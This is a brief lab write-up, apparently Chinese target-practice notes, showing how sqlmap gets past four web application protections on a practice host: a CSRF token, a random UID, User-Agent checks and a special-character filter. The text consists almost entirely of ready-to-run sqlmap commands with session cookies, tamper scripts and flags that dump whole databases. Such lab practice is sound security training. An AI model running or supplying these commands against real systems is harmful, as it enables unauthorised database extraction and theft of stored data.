SQLMap绕过 Web 应用程序保护靶机（打靶记录）

CSRF Protection (Case #8)

sqlmap -u "http://10.22.63.5/case8.php" \

--data="t0ken=cbb99235479c0d1610c441fdf72ebd4dd3f8f8e2e95c66aeebf2018b3e087dae&id=3" \

--csrf-token="t0ken" \

--cookie="PHPSESSID=96b46ff38285ae9f3e70f7d369feeffb" \

--level=3 \

--risk=2 \

--batch --dump-all

Random UID Protection (Case #9)

sqlmap -u "http://10.22.63.5/case9.php?id=1\&uid=1234567890" \

--cookie="PHPSESSID=96b46ff38285ae9f3e70f7d369feeffb" \

--batch --dump-all

User-Agent Protection (Case #10)

sqlmap -u "http://10.22.63.5/case10.php" \

--data="id=1" \

--cookie="PHPSESSID=96b46ff38285ae9f3e70f7d369feeffb" \

--random-agent \

--batch --dump-all

Special Character Filter (Case #11)

┌──(kali㉿kali)-\~

└─$ sqlmap -u "http://10.22.63.5/case11.php?id=1" \

--cookie="PHPSESSID=96b46ff38285ae9f3e70f7d369feeffb" \

--tamper="between,space2comment" \

-D nextcyber \

--dump \

--batch